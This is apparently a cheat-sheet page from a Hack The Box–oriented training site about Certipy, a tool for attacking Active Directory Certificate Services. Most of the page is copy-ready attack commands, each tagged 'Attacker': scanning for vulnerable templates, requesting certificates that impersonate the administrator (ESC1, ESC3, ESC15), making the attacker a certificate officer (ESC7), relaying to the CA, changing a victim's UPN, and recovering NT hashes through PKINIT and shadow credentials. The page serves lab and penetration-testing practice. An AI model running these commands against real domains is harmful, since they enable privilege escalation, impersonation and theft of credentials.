Search everything Ctrl K

Certipy

Certipy finds misconfigured templates and CAs (find -vulnerable tells you which ESC applies), requests certificates on behalf of other users and turns them into their NT hash with PKINIT. It also does shadow credentials in a single command.

Platform
Linux (Python)
Official site
github.com/ly4k/Certipy
On HTB
12 machines
Install 
pipx install certipy-ad

Certipy cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
12 commands

When PKINIT does not work

LDAP shell authenticated with the certificate 
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20 -ldap-shell

If the DC does not support PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP), log in over LDAPS with Schannel and change a password or set up RBCD from there.

In our cheatsheets

Windows and Active Directory privilege escalation › Active Directory

Vulnerable certificate templates (ADCS) 
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout

Active Directory in depth › ADCS (ESC1–16)

Certipy scan (names the ESC) Attacker 
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Request the certificate with another SAN Attacker 
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
Authenticate with the cert and get the NT hash Attacker 
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC3: request an agent cert and, with it, one on behalf of another Attacker 
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
Make it vulnerable and restore it Attacker 
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC7: grant yourself Manage Certificates and approve your own request Attacker 
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
Relay to the CA and get a machine cert Attacker 
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
Change the UPN of a user you control and request the cert as them Attacker 
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC15: application policy with client-auth EKU Attacker 
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'

Active Directory in depth › Delegation

Add a key and get the NT hash with certipy Attacker 
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima

HTB machines where Certipy is used

Taken from the chapters of IppSec videos where Certipy shows up. The ▶ link jumps to the minute of that part.

Guides that use Certipy